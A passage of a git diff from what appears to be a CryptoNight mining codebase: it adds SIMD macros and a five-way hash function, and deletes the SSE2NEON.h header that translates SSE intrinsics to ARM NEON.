h0); + cn_implode_scratchpad((__m128i*) l1, (__m128i*) h1); + cn_implode_scratchpad((__m128i*) l2, (__m128i*) h2); + + keccakf(h0, 24); + keccakf(h1, 24); + keccakf(h2, 24); + + extra_hashes[ctx->state0[0] & 3](ctx->state0, 200, static_cast(output)); + extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast(output) + 32); + extra_hashes[ctx->state2[0] & 3](ctx->state2, 200, static_cast(output) + 64); +} + +#define CN_STEP1(a, b, c, l, ptr) \ + a = _mm_xor_si128(a, c); \ + ptr = (__m128i *)&l[a[0] & MASK]; \ + _mm_prefetch((const char*)ptr, _MM_HINT_T0) + +#define CN_STEP2(a, b, c, l, ptr) \ + c = _mm_load_si128(ptr); \ + if(SOFT_AES) \ + c = soft_aesenc(c, a); \ + else \ + c = _mm_aesenc_si128(c, a); \ + b = _mm_xor_si128(b, c); \ + _mm_store_si128(ptr, b); \ + ptr = (__m128i *)&l[c[0] & MASK]; \ + _mm_prefetch((const char*)ptr, _MM_HINT_T0) + +#define CN_STEP3(a, b, c, l, ptr) \ + ; + +#define CN_STEP4(a, b, c, l, ptr) \ + b = _mm_load_si128(ptr); \ + lo = __umul128(c[0], b[0], &hi); \ + a = _mm_add_epi64(a, _mm_set_epi64x(lo, hi)); \ + _mm_store_si128(ptr, a) + +#define CN_INIT_AND_EXPLODE(lx, hx, i, memory, state) \ + const uint8_t* lx = memory + (MEM * i); \ + uint64_t* hx = reinterpret_cast(state); \ + keccak((const uint8_t *)input + size * i, size, state, 200); \ + cn_explode_scratchpad((__m128i*) hx, (__m128i*) lx) + +#define CN_INIT_VARS(ax, bx, cx, hx) \ + __m128i ax = _mm_set_epi64x(hx[1] ^ hx[5], hx[0] ^ hx[4]); \ + __m128i bx = _mm_set_epi64x(hx[3] ^ hx[7], hx[2] ^ hx[6]); \ + __m128i cx = _mm_set_epi64x(0, 0) + +#define CN_IMPLODE_AND_EXPORT(lx, hx, i, output, state) \ + cn_implode_scratchpad((__m128i*) lx, (__m128i*) hx); \ + keccakf(hx, 24); \ + extra_hashes[state[0] & 3](state, 200, static_cast(output) + (32 * i)) + + +template +inline void cryptonight_penta_hash(const void *__restrict__ input, size_t size, void *__restrict__ output, struct cryptonight_ctx *__restrict__ ctx) +{ + CN_INIT_AND_EXPLODE(l0, h0, 0, ctx->memory, ctx->state0); + CN_INIT_AND_EXPLODE(l1, h1, 1, ctx->memory, ctx->state1); + CN_INIT_AND_EXPLODE(l2, h2, 2, ctx->memory, ctx->state2); + CN_INIT_AND_EXPLODE(l3, h3, 3, ctx->memory, ctx->state3); + CN_INIT_AND_EXPLODE(l4, h4, 4, ctx->memory, ctx->state4); + + CN_INIT_VARS(ax0, bx0, cx0, h0); + CN_INIT_VARS(ax1, bx1, cx1, h1); + CN_INIT_VARS(ax2, bx2, cx2, h2); + CN_INIT_VARS(ax3, bx3, cx3, h3); + CN_INIT_VARS(ax4, bx4, cx4, h4); + + for (size_t i = 0; i < ITERATIONS/2; i++) { + uint64_t hi, lo; + __m128i *ptr0, *ptr1, *ptr2, *ptr3, *ptr4; + + // EVEN ROUND + CN_STEP1(ax0, bx0, cx0, l0, ptr0); + CN_STEP1(ax1, bx1, cx1, l1, ptr1); + CN_STEP1(ax2, bx2, cx2, l2, ptr2); + CN_STEP1(ax3, bx3, cx3, l3, ptr3); + CN_STEP1(ax4, bx4, cx4, l4, ptr4); + + CN_STEP2(ax0, bx0, cx0, l0, ptr0); + CN_STEP2(ax1, bx1, cx1, l1, ptr1); + CN_STEP2(ax2, bx2, cx2, l2, ptr2); + CN_STEP2(ax3, bx3, cx3, l3, ptr3); + CN_STEP2(ax4, bx4, cx4, l4, ptr4); + + CN_STEP3(ax0, bx0, cx0, l0, ptr0); + CN_STEP3(ax1, bx1, cx1, l1, ptr1); + CN_STEP3(ax2, bx2, cx2, l2, ptr2); + CN_STEP3(ax3, bx3, cx3, l3, ptr3); + CN_STEP3(ax4, bx4, cx4, l4, ptr4); + + CN_STEP4(ax0, bx0, cx0, l0, ptr0); + CN_STEP4(ax1, bx1, cx1, l1, ptr1); + CN_STEP4(ax2, bx2, cx2, l2, ptr2); + CN_STEP4(ax3, bx3, cx3, l3, ptr3); + CN_STEP4(ax4, bx4, cx4, l4, ptr4); + + // ODD ROUND + CN_STEP1(ax0, cx0, bx0, l0, ptr0); + CN_STEP1(ax1, cx1, bx1, l1, ptr1); + CN_STEP1(ax2, cx2, bx2, l2, ptr2); + CN_STEP1(ax3, cx3, bx3, l3, ptr3); + CN_STEP1(ax4, cx4, bx4, l4, ptr4); + + CN_STEP2(ax0, cx0, bx0, l0, ptr0); + CN_STEP2(ax1, cx1, bx1, l1, ptr1); + CN_STEP2(ax2, cx2, bx2, l2, ptr2); + CN_STEP2(ax3, cx3, bx3, l3, ptr3); + CN_STEP2(ax4, cx4, bx4, l4, ptr4); + + CN_STEP3(ax0, cx0, bx0, l0, ptr0); + CN_STEP3(ax1, cx1, bx1, l1, ptr1); + CN_STEP3(ax2, cx2, bx2, l2, ptr2); + CN_STEP3(ax3, cx3, bx3, l3, ptr3); + CN_STEP3(ax4, cx4, bx4, l4, ptr4); + + CN_STEP4(ax0, cx0, bx0, l0, ptr0); + CN_STEP4(ax1, cx1, bx1, l1, ptr1); + CN_STEP4(ax2, cx2, bx2, l2, ptr2); + CN_STEP4(ax3, cx3, bx3, l3, ptr3); + CN_STEP4(ax4, cx4, bx4, l4, ptr4); + } + + CN_IMPLODE_AND_EXPORT(l0, h0, 0, output, ctx->state0); + CN_IMPLODE_AND_EXPORT(l1, h1, 1, output, ctx->state1); + CN_IMPLODE_AND_EXPORT(l2, h2, 2, output, ctx->state2); + CN_IMPLODE_AND_EXPORT(l3, h3, 3, output, ctx->state3); + CN_IMPLODE_AND_EXPORT(l4, h4, 4, output, ctx->state4); +} + +#endif /* __CRYPTONIGHT_X86_H__ */ \ No newline at end of file diff --git a/src/crypto/SSE2NEON.h b/src/crypto/SSE2NEON.h deleted file mode 100644 index 6a00448d..00000000 --- a/src/crypto/SSE2NEON.h +++ /dev/null @@ -1,1497 +0,0 @@ -#ifndef SSE2NEON_H -#define SSE2NEON_H - -// This header file provides a simple API translation layer -// between SSE intrinsics to their corresponding ARM NEON versions -// -// This header file does not (yet) translate *all* of the SSE intrinsics. -// Since this is in support of a specific porting effort, I have only -// included the intrinsics I needed to get my port to work. -// -// Questions/Comments/Feedback send to: jratcliffscarab@gmail.com -// -// If you want to improve or add to this project, send me an -// email and I will probably approve your access to the depot. -// -// Project is located here: -// -// https://github.com/jratcliff63367/sse2neon -// -// Show your appreciation for open source by sending me a bitcoin tip to the following -// address. -// -// TipJar: 1PzgWDSyq4pmdAXRH8SPUtta4SWGrt4B1p : -// https://blockchain.info/address/1PzgWDSyq4pmdAXRH8SPUtta4SWGrt4B1p -// -// -// Contributors to this project are: -// -// John W. Ratcliff : jratcliffscarab@gmail.com -// Brandon Rowlett : browlett@nvidia.com -// Ken Fast : kfast@gdeb.com -// Eric van Beurden : evanbeurden@nvidia.com -// Alexander Potylitsin : apotylitsin@nvidia.com -// -// -// ********************************************************************************************************************* -// apoty: March 17, 2017 -// Current version was changed in most to fix issues and potential issues. -// All unit tests were rewritten as a part of forge lib project to cover all implemented functions. -// ********************************************************************************************************************* -// Release notes for January 20, 2017 version: -// -// The unit tests have been refactored. They no longer assert on an error, instead they return a pass/fail condition -// The unit-tests now test 10,000 random float and int values against each intrinsic. -// -// SSE2NEON now supports 95 SSE intrinsics. 39 of them have formal unit tests which have been implemented and -// fully tested on NEON/ARM. The remaining 56 still need unit tests implemented. -// -// A struct is now defined in this header file called 'SIMDVec' which can be used by applications which -// attempt to access the contents of an _m128 struct directly. It is important to note that accessing the __m128 -// struct directly is bad coding practice by Microsoft: @see: https://msdn.microsoft.com/en-us/library/ayeb3ayc.aspx -// -// However, some legacy source code may try to access the contents of an __m128 struct directly so the developer -// can use the SIMDVec as an alias for it. Any casting must be done manually by the developer, as you cannot -// cast or otherwise alias the base NEON data type for intrinsic operations. -// -// A bug was found with the _mm_shuffle_ps intrinsic. If the shuffle permutation was not one of the ones with -// a custom/unique implementation causing it to fall through to the default shuffle implementation it was failing -// to return the correct value. This is now fixed. -// -// A bug was found with the _mm_cvtps_epi32 intrinsic. This converts floating point values to integers. -// It was not honoring the correct rounding mode. In SSE the default rounding mode when converting from float to int -// is to use 'round to even' otherwise known as 'bankers rounding'. ARMv7 did not support this feature but ARMv8 does. -// As it stands today, this header file assumes ARMv8. If you are trying to target really old ARM devices, you may get -// a build error. -// -// Support for a number of new intrinsics was added, however, none of them yet have unit-tests to 100% confirm they are -// producing the correct results on NEON. These unit tests will be added as soon as possible. -// -// Here is the list of new instrinsics which have been added: -// -// _mm_cvtss_f32 : extracts the lower order floating point value from the parameter -// _mm_add_ss : adds the scalar single - precision floating point values of a and b -// _mm_div_ps : Divides the four single - precision, floating - point values of a and b. -// _mm_div_ss : Divides the scalar single - precision floating point value of a by b. -// _mm_sqrt_ss : Computes the approximation of the square root of the scalar single - precision floating point value of in. -// _mm_rsqrt_ps : Computes the approximations of the reciprocal square roots of the four single - precision floating point values of in. -// _mm_comilt_ss : Compares the lower single - precision floating point scalar values of a and b using a less than operation -// _mm_comigt_ss : Compares the lower single - precision floating point scalar values of a and b using a greater than operation. -// _mm_comile_ss : Compares the lower single - precision floating point scalar values of a and b using a less than or equal operation. -// _mm_comige_ss : Compares the lower single - precision floating point scalar values of a and b using a greater than or equal operation. -// _mm_comieq_ss : Compares the lower single - precision floating point scalar values of a and b using an equality operation. -// _mm_comineq_s : Compares the lower single - precision floating point scalar values of a and b using an inequality operation -// _mm_unpackhi_epi8 : Interleaves the upper 8 signed or unsigned 8 - bit integers in a with the upper 8 signed or unsigned 8 - bit integers in b. -// _mm_unpackhi_epi16: Interleaves the upper 4 signed or unsigned 16 - bit integers in a with the upper 4 signed or unsigned 16 - bit integers in b. -// -// ********************************************************************************************************************* -/* -** The MIT license: -** -** Permission is hereby granted, free of charge, to any person obtaining a copy -** of this software and associated documentation files (the "Software"), to deal -** in the Software without restriction, including without limitation the rights -** to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -** copies of the Software, and to permit persons to whom the Software is furnished -** to do so, subject to the following conditions: -** -** The above copyright notice and this permission notice shall be included in all -** copies or substantial portions of the Software. - -** THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -** IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -** FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -** AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -** WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -** CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -*/ - -#define ENABLE_CPP_VERSION 0 - -#if defined(__GNUC__) || defined(__clang__) -# pragma push_macro("FORCE_INLINE") -# pragma push_macro("ALIGN_STRUCT") -# define FORCE_INLINE static inline __attribute__((always_inline)) -# define ALIGN_STRUCT(x) __attribute__((aligned(x))) -#else -# error "Macro name collisions may happens with unknown compiler" -# define FORCE_INLINE static inline -# define ALIGN_STRUCT(x) __declspec(align(x)) -#endif - -#include -#include "arm_neon.h" - - -/*******************************************************/ -/* MACRO for shuffle parameter for _mm_shuffle_ps(). */ -/* Argument fp3 is a digit[0123] that represents the fp*/ -/* from argument "b" of mm_shuffle_ps that will be */ -/* placed in fp3 of result. fp2 is the same for fp2 in */ -/* result. fp1 is a digit[0123] that represents the fp */ -/* from argument "a" of mm_shuffle_ps that will be */ -/* places in fp1 of result. fp0 is the same for fp0 of */ -/* result */ -/*******************************************************/ -#define _MM_SHUFFLE(fp3,fp2,fp1,fp0) \ - (((fp3) << 6) | ((fp2) << 4) | ((fp1) << 2) | ((fp0))) - -/* indicate immediate constant argument in a given range */ -#define __constrange(a,b) \ - const - -typedef float32x4_t __m128; -typedef int32x4_t __m128i; - - -// ****************************************** -// type-safe casting between types -// ****************************************** - -#define vreinterpretq_m128_f16(x) \ - vreinterpretq_f32_f16(x) - -#define vreinterpretq_m128_f32(x) \ - (x) - -#define vreinterpretq_m128_f64(x) \ - vreinterpretq_f32_f64(x) - - -#define vreinterpretq_m128_u8(x) \ - vreinterpretq_f32_u8(x) - -#define vreinterpretq_m128_u16(x) \ - vreinterpretq_f32_u16(x) - -#define vreinterpretq_m128_u32(x) \ - vreinterpretq_f32_u32(x) - -#define vreinterpretq_m128_u64(x) \ - vreinterpretq_f32_u64(x) - - -#define vreinterpretq_m128_s8(x) \ - vreinterpretq_f32_s8(x) - -#define vreinterpretq_m128_s16(x) \ - vreinterpretq_f32_s16(x) - -#define vreinterpretq_m128_s32(x) \ - vreinterpretq_f32_s32(x) - -#define vreinterpretq_m128_s64(x) \ - vreinterpretq_f32_s64(x) - - -#define vreinterpretq_f16_m128(x) \ - vreinterpretq_f16_f32(x) - -#define vreinterpretq_f32_m128(x) \ - (x) - -#define vreinterpretq_f64_m128(x) \ - vreinterpretq_f64_f32(x) - - -#define vreinterpretq_u8_m128(x) \ - vreinterpretq_u8_f32(x) - -#define vreinterpretq_u16_m128(x) \ - vreinterpretq_u16_f32(x) - -#define vreinterpretq_u32_m128(x) \ - vreinterpretq_u32_f32(x) - -#define vreinterpretq_u64_m128(x) \ - vreinterpretq_u64_f32(x) - - -#define vreinterpretq_s8_m128(x) \ - vreinterpretq_s8_f32(x) - -#define vreinterpretq_s16_m128(x) \ - vreinterpretq_s16_f32(x) - -#define vreinterpretq_s32_m128(x) \ - vreinterpretq_s32_f32(x) - -#define vreinterpretq_s64_m128(x) \ - vreinterpretq_s64_f32(x) - - -#define vreinterpretq_m128i_s8(x) \ - vreinterpretq_s32_s8(x) - -#define vreinterpretq_m128i_s16(x) \ - vreinterpretq_s32_s16(x) - -#define vreinterpretq_m128i_s32(x) \ - (x) - -#define vreinterpretq_m128i_s64(x) \ - vreinterpretq_s32_s64(x) - - -#define vreinterpretq_m128i_u8(x) \ - vreinterpretq_s32_u8(x) - -#define vreinterpretq_m128i_u16(x) \ - vreinterpretq_s32_u16(x) - -#define vreinterpretq_m128i_u32(x) \ - vreinterpretq_s32_u32(x) - -#define vreinterpretq_m128i_u64(x) \ - vreinterpretq_s32_u64(x) - - -#define vreinterpretq_s8_m128i(x) \ - vreinterpretq_s8_s32(x) - -#define vreinterpretq_s16_m128i(x) \ - vreinterpretq_s16_s32(x) - -#define vreinterpretq_s32_m128i(x) \ - (x) - -#define vreinterpretq_s64_m128i(x) \ - vreinterpretq_s64_s32(x) - - -#define vreinterpretq_u8_m128i(x) \ - vreinterpretq_u8_s32(x) - -#define vreinterpretq_u16_m128i(x) \ - vreinterpretq_u16_s32(x) - -#define vreinterpretq_u32_m128i(x) \ - vreinterpretq_u32_s32(x) - -#define vreinterpretq_u64_m128i(x) \ - vreinterpretq_u64_s32(x) - - -// union intended to allow direct access to an __m128 variable using the names that the MSVC -// compiler provides. This union should really only be used when trying to access the members -// of the vector as integer values. GCC/clang allow native access to the float members through -// a simple array access operator (in C since 4.6, in C++ since 4.8). -// -// Ideally direct accesses to SIMD vectors should not be used since it can cause a performance -// hit. If it really is needed however, the original __m128 variable can be aliased with a -// pointer to this union and used to access individual components. The use of this union should -// be hidden behind a macro that is used throughout the codebase to access the members instead -// of always declaring this type of variable. -typedef union ALIGN_STRUCT(16) SIMDVec -{ - float m128_f32[4]; // as floats - do not to use this. Added for convenience. - int8_t m128_i8[16]; // as signed 8-bit integers. - int16_t m128_i16[8]; // as signed 16-bit integers. - int32_t m128_i32[4]; // as signed 32-bit integers. - int64_t m128_i64[2]; // as signed 64-bit integers. - uint8_t m128_u8[16]; // as unsigned 8-bit integers. - uint16_t m128_u16[8]; // as unsigned 16-bit integers. - uint32_t m128_u32[4]; // as unsigned 32-bit integers. - uint64_t m128_u64[2]; // as unsigned 64-bit integers. -} SIMDVec; - - -// ****************************************** -// Set/get methods -// ****************************************** - -// extracts the lower order floating point value from the parameter : https://msdn.microsoft.com/en-us/library/bb514059%28v=vs.120%29.aspx?f=255&MSPPError=-2147217396 -FORCE_INLINE float _mm_cvtss_f32(__m128 a) -{ - return vgetq_lane_f32(vreinterpretq_f32_m128(a), 0); -} - -// Sets the 128-bit value to zero https://msdn.microsoft.com/en-us/library/vstudio/ys7dw0kh(v=vs.100).aspx -FORCE_INLINE __m128i _mm_setzero_si128() -{ - return vreinterpretq_m128i_s32(vdupq_n_s32(0)); -} - -// Clears the four single-precision, floating-point values. https://msdn.microsoft.com/en-us/library/vstudio/tk1t2tbz(v=vs.100).aspx -FORCE_INLINE __m128 _mm_setzero_ps(void) -{ - return vreinterpretq_m128_f32(vdupq_n_f32(0)); -} - -// Sets the four single-precision, floating-point values to w. https://msdn.microsoft.com/en-us/library/vstudio/2x1se8ha(v=vs.100).aspx -FORCE_INLINE __m128 _mm_set1_ps(float _w) -{ - return vreinterpretq_m128_f32(vdupq_n_f32(_w)); -} - -// Sets the four single-precision, floating-point values to w. https://msdn.microsoft.com/en-us/library/vstudio/2x1se8ha(v=vs.100).aspx -FORCE_INLINE __m128 _mm_set_ps1(float _w) -{ - return vreinterpretq_m128_f32(vdupq_n_f32(_w)); -} - -// Sets the four single-precision, floating-point values to the four inputs. https://msdn.microsoft.com/en-us/library/vstudio/afh0zf75(v=vs.100).aspx -FORCE_INLINE __m128 _mm_set_ps(float w, float z, float y, float x) -{ - float __attribute__((aligned(16))) data[4] = { x, y, z, w }; - return vreinterpretq_m128_f32(vld1q_f32(data)); -} - -// Sets the four single-precision, floating-point values to the four inputs in reverse order. https://msdn.microsoft.com/en-us/library/vstudio/d2172ct3(v=vs.100).aspx -FORCE_INLINE __m128 _mm_setr_ps(float w, float z , float y , float x ) -{ - float __attribute__ ((aligned (16))) data[4] = { w, z, y, x }; - return vreinterpretq_m128_f32(vld1q_f32(data)); -} - -// Sets the 4 signed 32-bit integer values to i. https://msdn.microsoft.com/en-us/library/vstudio/h4xscxat(v=vs.100).aspx -FORCE_INLINE __m128i _mm_set1_epi32(int _i) -{ - return vreinterpretq_m128i_s32(vdupq_n_s32(_i)); -} - -// Sets the 4 signed 32-bit integer values. https://msdn.microsoft.com/en-us/library/vstudio/019beekt(v=vs.100).aspx -FORCE_INLINE __m128i _mm_set_epi32(int i3, int i2, int i1, int i0) -{ - int32_t __attribute__((aligned(16))) data[4] = { i0, i1, i2, i3 }; - return vreinterpretq_m128i_s32(vld1q_s32(data)); -} - -// Stores four single-precision, floating-point values. https://msdn.microsoft.com/en-us/library/vstudio/s3h4ay6y(v=vs.100).aspx -FORCE_INLINE void _mm_store_ps(float *p, __m128 a) -{ - vst1q_f32(p, vreinterpretq_f32_m128(a)); -} - -// Stores four single-precision, floating-point values. https://msdn.microsoft.com/en-us/library/44e30x22(v=vs.100).aspx -FORCE_INLINE void _mm_storeu_ps(float *p, __m128 a) -{ - vst1q_f32(p, vreinterpretq_f32_m128(a)); -} - -// Stores four 32-bit integer values as (as a __m128i value) at the address p. https://msdn.microsoft.com/en-us/library/vstudio/edk11s13(v=vs.100).aspx -FORCE_INLINE void _mm_store_si128(__m128i *p, __m128i a) -{ - vst1q_s32((int32_t*) p, vreinterpretq_s32_m128i(a)); -} - -// Stores the lower single - precision, floating - point value. https://msdn.microsoft.com/en-us/library/tzz10fbx(v=vs.100).aspx -FORCE_INLINE void _mm_store_ss(float *p, __m128 a) -{ - vst1q_lane_f32(p, vreinterpretq_f32_m128(a), 0); -} - -// Reads the lower 64 bits of b and stores them into the lower 64 bits of a. https://msdn.microsoft.com/en-us/library/hhwf428f%28v=vs.90%29.aspx -FORCE_INLINE void _mm_storel_epi64(__m128i* a, __m128i b) -{ - uint64x1_t hi = vget_high_u64(vreinterpretq_u64_m128i(*a)); - uint64x1_t lo = vget_low_u64(vreinterpretq_u64_m128i(b)); - *a = vreinterpretq_m128i_u64(vcombine_u64(lo, hi)); -} - -// Loads a single single-precision, floating-point value, copying it into all four words https://msdn.microsoft.com/en-us/library/vstudio/5cdkf716(v=vs.100).aspx -FORCE_INLINE __m128 _mm_load1_ps(const float * p) -{ - return vreinterpretq_m128_f32(vld1q_dup_f32(p)); -} - -// Loads four single-precision, floating-point values. https://msdn.microsoft.com/en-us/library/vstudio/zzd50xxt(v=vs.100).aspx -FORCE_INLINE __m128 _mm_load_ps(const float * p) -{ - return vreinterpretq_m128_f32(vld1q_f32(p)); -} - -// Loads four single-precision, floating-point values. https://msdn.microsoft.com/en-us/library/x1b16s7z%28v=vs.90%29.aspx -FORCE_INLINE __m128 _mm_loadu_ps(const float * p) -{ - // for neon, alignment doesn't matter, so _mm_load_ps and _mm_loadu_ps are equivalent for neon - return vreinterpretq_m128_f32(vld1q_f32(p)); -} - -// Loads an single - precision, floating - point value into the low word and clears the upper three words. https://msdn.microsoft.com/en-us/library/548bb9h4%28v=vs.90%29.aspx -FORCE_INLINE __m128 _mm_load_ss(const float * p) -{ - return vreinterpretq_m128_f32(vsetq_lane_f32(*p, vdupq_n_f32(0), 0)); -} - - -// ****************************************** -// Logic/Binary operations -// ****************************************** - -// Compares for inequality. https://msdn.microsoft.com/en-us/library/sf44thbx(v=vs.100).aspx -FORCE_INLINE __m128 _mm_cmpneq_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_u32( vmvnq_u32( vceqq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(b)) ) ); -} - -// Computes the bitwise AND-NOT of the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/68h7wd02(v=vs.100).aspx -FORCE_INLINE __m128 _mm_andnot_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_s32( vbicq_s32(vreinterpretq_s32_m128(b), vreinterpretq_s32_m128(a)) ); // *NOTE* argument swap -} - -// Computes the bitwise AND of the 128-bit value in b and the bitwise NOT of the 128-bit value in a. https://msdn.microsoft.com/en-us/library/vstudio/1beaceh8(v=vs.100).aspx -FORCE_INLINE __m128i _mm_andnot_si128(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32( vbicq_s32(vreinterpretq_s32_m128i(b), vreinterpretq_s32_m128i(a)) ); // *NOTE* argument swap -} - -// Computes the bitwise AND of the 128-bit value in a and the 128-bit value in b. https://msdn.microsoft.com/en-us/library/vstudio/6d1txsa8(v=vs.100).aspx -FORCE_INLINE __m128i _mm_and_si128(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32( vandq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b)) ); -} - -// Computes the bitwise AND of the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/73ck1xc5(v=vs.100).aspx -FORCE_INLINE __m128 _mm_and_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_s32( vandq_s32(vreinterpretq_s32_m128(a), vreinterpretq_s32_m128(b)) ); -} - -// Computes the bitwise OR of the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/vstudio/7ctdsyy0(v=vs.100).aspx -FORCE_INLINE __m128 _mm_or_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_s32( vorrq_s32(vreinterpretq_s32_m128(a), vreinterpretq_s32_m128(b)) ); -} - -// Computes bitwise EXOR (exclusive-or) of the four single-precision, floating-point values of a and b. https://msdn.microsoft.com/en-us/library/ss6k3wk8(v=vs.100).aspx -FORCE_INLINE __m128 _mm_xor_ps(__m128 a, __m128 b) -{ - return vreinterpretq_m128_s32( veorq_s32(vreinterpretq_s32_m128(a), vreinterpretq_s32_m128(b)) ); -} - -// Computes the bitwise OR of the 128-bit value in a and the 128-bit value in b. https://msdn.microsoft.com/en-us/library/vstudio/ew8ty0db(v=vs.100).aspx -FORCE_INLINE __m128i _mm_or_si128(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32( vorrq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b)) ); -} - -// Computes the bitwise XOR of the 128-bit value in a and the 128-bit value in b. https://msdn.microsoft.com/en-us/library/fzt08www(v=vs.100).aspx -FORCE_INLINE __m128i _mm_xor_si128(__m128i a, __m128i b) -{ - return vreinterpretq_m128i_s32( veorq_s32(vreinterpretq_s32_m128i(a), vreinterpretq_s32_m128i(b)) ); -} - -// NEON does not provide this method -// Creates a 4-bit mask from the most significant bits of the four single-precision, floating-point values. https://msdn.microsoft.com/en-us/library/vstudio/4490ys29(v=vs.100).aspx -FORCE_INLINE int _mm_movemask_ps(__m128 a) -{ -#if ENABLE_CPP_VERSION // I am not yet convinced that the NEON version is faster than the C version of this - uint32x4_t &ia = *(uint32x4_t *)&a; - return (ia[0] >> 31) | ((ia[1] >> 30) & 2) | ((ia[2] >> 29) & 4) | ((ia[3] >> 28) & 8); -#else - static const uint32x4_t movemask = { 1, 2, 4, 8 }; - static const uint32x4_t highbit = { 0x80000000, 0x80000000, 0x80000000, 0x80000000 }; - uint32x4_t t0 = vreinterpretq_u32_m128(a); - uint32x4_t t1 = vtstq_u32(t0, highbit); - uint32x4_t t2 = vandq_u32(t1, movemask); - uint32x2_t t3 = vorr_u32(vget_low_u32(t2), vget_high_u32(t2)); - return vget_lane_u32(t3, 0) | vget_lane_u32(t3, 1); -#endif -} - -// Takes the upper 64 bits of a and places it in the low end of the result -// Takes the lower 64 bits of b and places it into the high end of the result. -FORCE_INLINE __m128 _mm_shuffle_ps_1032(__m128 a, __m128 b) -{ - float32x2_t a32 = vget_high_f32(vreinterpretq_f32_m128(a)); - float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_f32(vcombine_f32(a32, b10)); -} - -// takes the lower two 32-bit values from a and swaps them and places in high end of result -// takes the higher two 32 bit values from b and swaps them and places in low end of result. -FORCE_INLINE __m128 _mm_shuffle_ps_2301(__m128 a, __m128 b) -{ - float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); - float32x2_t b23 = vrev64_f32(vget_high_f32(vreinterpretq_f32_m128(b))); - return vreinterpretq_m128_f32(vcombine_f32(a01, b23)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_0321(__m128 a, __m128 b) -{ - float32x2_t a21 = vget_high_f32(vextq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a), 3)); - float32x2_t b03 = vget_low_f32(vextq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b), 3)); - return vreinterpretq_m128_f32(vcombine_f32(a21, b03)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_2103(__m128 a, __m128 b) -{ - float32x2_t a03 = vget_low_f32(vextq_f32(vreinterpretq_f32_m128(a), vreinterpretq_f32_m128(a), 3)); - float32x2_t b21 = vget_high_f32(vextq_f32(vreinterpretq_f32_m128(b), vreinterpretq_f32_m128(b), 3)); - return vreinterpretq_m128_f32(vcombine_f32(a03, b21)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_1010(__m128 a, __m128 b) -{ - float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); - float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_f32(vcombine_f32(a10, b10)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_1001(__m128 a, __m128 b) -{ - float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); - float32x2_t b10 = vget_low_f32(vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_f32(vcombine_f32(a01, b10)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_0101(__m128 a, __m128 b) -{ - float32x2_t a01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(a))); - float32x2_t b01 = vrev64_f32(vget_low_f32(vreinterpretq_f32_m128(b))); - return vreinterpretq_m128_f32(vcombine_f32(a01, b01)); -} - -// keeps the low 64 bits of b in the low and puts the high 64 bits of a in the high -FORCE_INLINE __m128 _mm_shuffle_ps_3210(__m128 a, __m128 b) -{ - float32x2_t a10 = vget_low_f32(vreinterpretq_f32_m128(a)); - float32x2_t b32 = vget_high_f32(vreinterpretq_f32_m128(b)); - return vreinterpretq_m128_f32(vcombine_f32(a10, b32)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_0011(__m128 a, __m128 b) -{ - float32x2_t a11 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(a)), 1); - float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); - return vreinterpretq_m128_f32(vcombine_f32(a11, b00)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_0022(__m128 a, __m128 b) -{ - float32x2_t a22 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(a)), 0); - float32x2_t b00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(b)), 0); - return vreinterpretq_m128_f32(vcombine_f32(a22, b00)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_2200(__m128 a, __m128 b) -{ - float32x2_t a00 = vdup_lane_f32(vget_low_f32(vreinterpretq_f32_m128(a)), 0); - float32x2_t b22 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(b)), 0); - return vreinterpretq_m128_f32(vcombine_f32(a00, b22)); -} - -FORCE_INLINE __m128 _mm_shuffle_ps_3202(__m128 a, __m128 b) -{ - float32_t a0 = vgetq_lane_f32(vreinterpretq_f32_m128(a), 0); - float32x2_t a22 = vdup_lane_f32(vget_high_f32(vreinterpretq_f32_m128(a)), 0); - float32x2_t a02 = vset_lane_f32(a0, 